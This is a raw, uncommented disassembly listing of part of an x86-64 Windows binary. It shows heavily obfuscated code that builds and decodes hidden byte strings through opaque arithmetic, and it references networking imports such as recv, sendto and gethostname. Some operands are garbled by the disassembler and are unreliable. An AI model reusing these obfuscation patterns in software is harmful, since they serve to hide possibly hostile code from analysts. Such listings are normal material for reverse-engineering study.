sub r11b, 0x20
jmp 0x140082465
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082020
movabs rcx, 0x6fb77553246f5710
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
dec rbx
inc rbx
jmp 0x1400817c2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140081d78
movabs rdx, 0x3f1a6192309d8370
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x10
jmp 0x1400823da
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008207f
movabs rcx, 0x825608e0ffd73ae8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
jmp 0x1400823dd
inc rax
cmp r8, rax
jne 0x1400820b9
movabs rdx, 0x6a077f0085ee5118
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400817c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400820eb
movabs rdx, 0x211be15f183393a8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400824b1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008212d
movabs rdx, 0x8cd577e9e4aa9d8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008215a
movabs rcx, 0xf07ecd9e2461c008
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
jmp 0x1400824f0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081d14
movabs rdx, 0xbfe1b9dd308fec68
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400825b3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400821cb
movabs rcx, 0x31d612bffc9a3e0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817c2
inc rax
cmp r8, rax
jne 0x1400821f9
movabs rdx, 0xd2804d6b0bf7d040
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400824ed
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008222b
movabs rdx, 0x8994afc99e3d12d0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140082465
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008225a
movabs rcx, 0x714625e924542900
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
dec rbx
inc rbx
jmp 0x1400817c2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140081cbd
movabs rdx, 0x40a9122830825560
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400823da
movabs rdx, 0x100bfe673cb081c0
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0xd70]
sub r11b, al
sub r11b, 0x40
jmp 0x14008245f
movabs rdx, 0xf7bd7486c2c797f0
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xd70]
add r11b, dil
jmp 0x1400824ed
movabs rdx, 0xa6047f66b6c230a8
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400825b3
movabs rdx, 0xeef01d08247cee18
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817c2
movabs rcx, 0x73ea6e89e65d7e8
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x58
jmp 0x1400824b1
movabs rdx, 0x37dbbaa99237ab88
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x1400817c2
movabs rdx, 0x6878ce6a86097f28
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x18
jmp 0x1400823da
movabs rdx, 0x9915e22b79db52c8
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x78
add r11b, dl
movabs rdx, 0x9c33435779a4f6a8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0xd70], cl
inc r9
dec rbx
inc rbx
jmp 0x1400817c2
movabs rcx, 0xb1646c0bf3c43c98
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x28
inc r9
dec rbx
inc rbx
jmp 0x1400817c2
movabs rdx, 0xe2017fcce7961038
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movabs rdx, 0x83e4b976ffbc0cd8
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dil
add cl, dl
mov byte [rbp + rbx + 0xd70], cl
jmp 0x1400824b1
movabs rcx, 0xfa5009ad617efa08
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817c2
mov rdi, r10
movabs rdx, 0x2aed1d6e5550cda8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0x6b962f9685d32308
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x38
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xd70], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x140082548
movabs rcx, 0x433ba74ecf39b778
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
movzx edi, r10b
movabs rdx, 0xdf6eeaa648deae20
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0xd70], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817c2
movabs rdx, 0x5b8a312f4922a148
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817c2
movabs rcx, 0x2f992f3054ff4378
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x48
jmp 0x1400817c0
movabs rdx, 0x47e7b910cee82d48
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x1400817b0
lea r14, [rbp + 0x1418190]
jmp 0x140082633
lea r14, [rbp + 0x4d0ca8]
jmp 0x140082633
lea r14, [rbp + 0xd70]
lea rdx, [0x140226030]
lea rcx, [rbp + 0x608]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xe8]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a2a12
mov byte [rbp + 0xd98], 0x66
mov byte [rbp + 0xd99], 0x40
mov byte [rbp + 0xd9a], 0x47
mov byte [rbp + 0xd9b], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xd9c], 0x48
mov byte [rbp + 0xd9d], 0xb5
mov byte [rbp + 0xd9e], 0x61
mov byte [rbp + 0xd9f], Ordinal_79
mov byte [rbp + 0xda0], 0xb0
mov byte [rbp + 0xda1], 0x7f
mov byte [rbp + 0xda2], Ordinal_79
mov byte [rbp + 0xda3], Ordinal_79
mov byte [rbp + 0xda4], 0x43
mov byte [rbp + 0xda5], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xda6], xmm0
mov dword [rbp + 0xdb6], eax
mov byte [rbp + 0xdba], al
movabs r15, 0x14af18410c8813b4
movabs r13, 0xa14a021015fe9acc
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0x3deff4f6e8373de4
cmp rdi, 0x23
jae 0x140083450
movzx ebx, byte [rbp + rdi + 0xd98]
mov r10, rbx
cmp r8, rdi
ja 0x140083447
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008276c
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x3c
jmp 0x1400827b2
je 0x1400833b9
inc rax
cmp r8, rax
je 0x140083352
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400832f8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400832bd
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008328f
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008323d
cmp r9, rdi
ja 0x14008343e
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400827e0
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082820
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008321d
inc rax
cmp r8, rax
je 0x1400831cc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400831a9
lea rax, [r9 + 2]
cmp r8, rax
je 0x140083171
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083149
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140082dec
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140082dc4
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140082d98
lea rax, [r9 + 8]
cmp r8, rax
je 0x140082d84
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140082d60
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140082d4c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140082d19
lea rax, [r9 + 9]
cmp r8, rax
je 0x140082cf1
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140082cca
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140082830
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140083416
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400833f3
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140082a08
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400829e1
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400829c2
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140082c6e
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x140082c11
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140082bb9
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140082830
mov r8, rcx
lea r9, [rcx + 0x2a]
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x140082b80
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x140082b5d
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x140082b35
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x140082b02
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140082adf
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x140082ab7
lea rcx, [r9 + 0x64]
cmp r8, rcx
ja 0x140082a8e
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140082a5d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140082a3a
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140082830
mov r8, rcx
lea r9, [rcx + 0x80]
jmp 0x140082830
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082820
movabs rdx, 0x256a182245901f04
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1c
add r11b, dl
jmp 0x1400827b2
movabs rdx, 0xa98a2e347521a33c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x3deff4f6e8373de4
jmp 0x14008273e
movabs rcx, 0xa578c20864409da0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x14008325f
movabs rdx, 0x2998d81a93d221d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140082722
movabs rcx, 0xadb8ee2cc363a610
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
dec rdi
inc rdi
jmp 0x140082722
movabs rdx, 0x31d9043ef2f52a48
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400831ef
movabs rcx, 0xb5f91a512286ae80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x1400832e0
movabs rcx, 0x3a193063521832b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082722
movabs rdx, 0xbe39467581a9b6f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008331f
movabs rcx, 0x42595c87b13b3b28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x140083375
movabs rdx, 0xc6797299e0ccbf60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082722
movabs rdx, 0x14e9bfd9874a0e24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x3e8
jb 0x1400830da
movabs rcx, 0xad9b9a608602a8d8
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14008325f
movabs rdx, 0x9909d5ebb6db925c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 2
jae 0x1400830ea
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140082ffd
movabs rcx, 0xd6dc771661b1d308
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x140082bdc
movabs rcx, 0x1d29ebfde66d1694
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x140083119
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x140082f3e
movabs rcx, 0xc22d5ed55529bf54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x140082c34
movabs rdx, 0x3aa7987ac1fa70
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x140083375
movabs rdx, 0x845abdaaaa537ea8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008331f
movabs rcx, 0x87ad3bcd9e502e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082722
movabs rdx, 0x8c9ae9cf09768718
mov ecx, Ordinal_45
jmp 0x1400832cc
movabs rdx, 0x10baffe139080b50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
jmp 0x1400831ec
movabs rdx, 0x94db15f368998f88
mov ecx, 0x24
jmp 0x14008329e
movabs rcx, 0x18fb2c05982b13c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140082722
movabs rdx, 0x9d1b4217c7bc97f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008325f
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x140082e18
movabs rcx, 0x3deff4f6e8373de4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x140082c8c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140082e5a
movabs rdx, 0x295e308219102768
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082722
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082e8b
movabs rdx, 0x211e045db9ed1ef8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008331f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082eb7
movabs rcx, 0x94bdc2272b389250
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400831ef
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140082ed4
movabs rdx, 0x109dac14fba70e18
mov ecx, Ordinal_45
jmp 0x14008329e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140082f09
movabs rcx, 0x8c7d9602cc1589e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x140082722
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140082c8c
movabs rdx, 0x85d7ff09c8405a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008325f
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140082f6f
movabs rdx, 0x3e0d48c325983b1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008325f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082f8c
movabs rdx, 0x35cd1c9ec67532ac
mov ecx, Ordinal_41
jmp 0x14008329e
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140082fc8
movabs rcx, 0xa96cda6837c0a604
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082722
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140082c34
movabs rdx, 0x254cc456082f21cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008331f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008303f
movabs rdx, 0x52bc610432204ed0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082722
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083070
movabs rdx, 0x4a7c34dfd2fd4660
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008331f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400830aa
movabs rdx, 0xb5dbc684e525b148
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140082722
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140082bdc
movabs rcx, 0x31bbb072b5942d10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x14008325f
mov byte [rbp + rdi + 0xd98], r11b
inc rdi
jmp 0x140082722
movabs rdx, 0x297b844e567124a0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xd98]
sub r11b, al
sub r11b, 0x60
add r11b, dl
add r11b, bl
jmp 0x1400831ef
movabs rdx, 0xa55b6e3c26dfa068
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xd98]
add r11b, dl
add r11b, bl
jmp 0x14008331f
movabs rdx, 0xf3ae67af8ffbf1f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083375
movabs rdx, 0xfbee93d3ef1efa64
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082722
movabs rcx, 0x800ea9e61eb07e9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400832e0
movabs rdx, 0x42ebff84e4202d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x676b79453ea86284
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xd98], cl
jmp 0x1400832e0
movabs rcx, 0x908f022edcf68f7c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x14008325f
movabs rdx, 0x98cf2e533c1997ec
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
add r11b, dl
movabs rcx, 0xeb8b8f576e39e6bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x24
add cl, bl
mov byte [rbp + rdi + 0xd98], cl
inc r9
dec rdi
inc rdi
jmp 0x140082722
movabs rdx, 0xa10f5a779b3ca05c
mov ecx, 0x3e
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140082722
movabs rdx, 0xa94f869bfa5fa8cc
mov ecx, gethostname
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082722
mov rbx, r10
movabs rdx, 0xb18fb2c05982b13c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0xe34b63330f16de4c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x14
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xd98], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140083375
movabs rcx, 0x35afc8d289143574
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
movzx ebx, r10b
movabs rcx, 0x213b5829f74e1c30
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x50
add bl, cl
mov byte [rbp + rdi + 0xd98], bl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082722
movabs rdx, 0xb9cfdee4b8a5b9ac
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xd98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082722
movabs rcx, 0x2daa4446a4b32774
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x14008271e
movabs rdx, 0xb1ca5a58d444abac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008270d
lea rcx, [rbp + 0x15da2c8]
jmp 0x140083457
lea rcx, [rbp + 0x154e0ac]
jmp 0x140083457
lea rcx, [rbp + 0xd98]
mov dword [rbp + 0xfe0], 0x3e8
mov dword [rbp + 0xfe8], 0xa
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xfe0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfe8]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xdc0], 1
mov byte [rbp + 0xdc1], Ordinal_200
mov byte [rbp + 0xdc2], 0xa
mov byte [rbp + 0xdc3], Ordinal_217
mov byte [rbp + 0xdc4], 0xb4
mov byte [rbp + 0xdc5], 0xb4
mov byte [rbp + 0xdc6], Ordinal_60
mov byte [rbp + 0xdc7], 0x48
mov byte [rbp + 0xdc8], Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdc9], xmm0
mov qword [rbp + 0xdd9], rax
mov word [rbp + 0xde1], ax
movabs rdi, 0x7c895059c0dbb102
movabs rsi, 0xa606cab39b037b3e
movabs r15, 0x98374cf8155fcb7a
movabs r14, 0x759830c37043e44a
movabs r13, 0x452996d345844d56
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400842b4
movzx r11d, byte [rbp + rbx + 0xdc0]
mov rdx, r11
nop dword [rax + rax]
